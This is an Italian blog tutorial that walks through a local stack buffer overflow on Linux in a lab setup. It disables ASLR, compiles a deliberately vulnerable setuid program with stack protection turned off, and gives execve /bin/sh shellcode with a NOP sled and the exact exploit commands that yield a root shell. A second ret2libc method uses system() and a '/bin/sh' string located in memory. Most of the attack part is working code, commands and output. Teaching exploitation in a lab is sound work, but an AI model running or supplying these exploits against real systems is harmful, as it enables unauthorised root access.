Rispolvero tra le bozze un vecchio post che avevo scritto secoli e secoli fa. Non so per quale diavolo di motivo non l’ho più pubblicato. Forse le migliaia di cose da fare hanno fatto si che me ne dimenticassi. Buona lettura…
Dopo l’articolo sulle basi dell’assembly e del debugging, vediamo in questo come implementare la tecnica del buffer overflow.
Senza perderci troppo sulla teoria che rimando a wikipedia, cerchiamo di sfruttare un codice vulnerabile per ottenere la shell di root.
Innanzitutto se utilizziamo un kernel superiore al 2.4 è necessario disattivare la randomizzazione dello stack:
# sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0
Per riabilitarlo invece:
root@bt:~# sysctl -w kernel.randomize_va_space=3
vuln.c
int main(int argc, char **argv){ char buf[8]; strcpy(buf, argv[1]); printf("Hello %s\n", buf); }
Compiliamo:
# gcc -o vuln vuln.c -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 vuln.c: In function ‘main’: vuln.c:3: warning: incompatible implicit declaration of built-in function ‘strcpy’ vuln.c:4: warning: incompatible implicit declaration of built-in function ‘printf’
Ricordiamoci di utilizzare le opzioni -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 per il kernel 2.6.x e settiamo il suid:
#chmod +s vuln
Procuriamoci uno shellcode da shellcode.org testiamo il suo funzionamento:
char main[] = "\xeb\x19\x5e\xb0\x46\x31\xdb\x31" "\xc9\xcd\x80\x31\xc0\xb0\x0b\x89" "\xf3\x31\xff\x57\x56\x89\xe1\x31" "\xd2\xcd\x80\xe8\xe2\xff\xff\xff" "/bin/sh";
Testiamo il suo corretto funzionamento:
root@bt:# gcc -o shellcode shellcode.c root@bt:# ./shellcode #
Bene ora possiamo esportare il tutto in una variabile d’ambiente aggiungendo anche del nop code.
user@bt$ export SH=`perl -e 'print "\x90"x64,"\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x8d\x4e\x08\x8d\x56\x0c\x89\xf3\xb0\x0b\xcd\x80\x40\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"'`
Ora non ci resta che individuare dove è localizzata la variabile d’ambiente appena creata.
get.c
int main(int argc, char *argv[]) { printf("The address of %s is %p\n",argv[1], getenv(argv[1])); return 0; }
Compiliamo e cerchiamo l’indirizzo della variabile d’ambiente:
user@$ ./get SH The address of SH is 0xbffffed4
Ora possimao lanciare l’exploit sull’indirizzo appena trovato:
user@bt$ ./get SH The address of SH is 0xbffffed4 user@bt:/root/Downloads/BOF_hakin9$ ./vuln `perl -e 'print "\xd4\xfe\xff\xbf"x4'` Hello ���������������� # whoami root
Possiamo fare anche la stessa cosa senza utilizzare una variabile d’ambiente e shellcode, ma cercando il binario direttamente nella memoria.
find.c
#include <stdio.h> #include <stdlib.h> #define BASE_ADDR 0xb7e7d000 int main(){ char *ptr=BASE_ADDR; while(1){ if((strncmp(ptr,"/bin/sh",7))==0){ printf("%p : %s\n",ptr,ptr); return 0; } ptr++; } }
Compiliamo con le stesse opzioni adottatte per vuln.c
Analizziamo lo stack address:
user@bt$ gdb -q vuln (gdb) b main Breakpoint 1 at 0x80483fa (gdb) run Starting program: /vuln Breakpoint 1, 0x080483fa in main () Current language: auto; currently asm (gdb) x/x system 0xb7ea7a90 <system>: 0x890cec83 (gdb) q The program is running. Exit anyway? (y or n) y
Nel caso in cui avessimo uno stack dinamico, l’indirizzo 0xb7ea7a90 cambierebbe ogni volta.
Cerchiamo la nostra shell in memoria:
user@bt$ ./find 0xb7faab33 : /bin/sh
Bene ora non ci resta che lanciare l’exploit:
user@bt$ ./vuln `printf "aaaabbbbcccc\x90\x7a\xea\xb7aaaa\x33\xab\xfa\xb7"` Hello aaaabbbbcccc�z��aaaa3��� # whoami root
Questo articolo ha il solo scopo didattico, infatti con l’utilizzo di kernel aggiornati potrebbero verificarsi errori e/o Segmentation Fault.











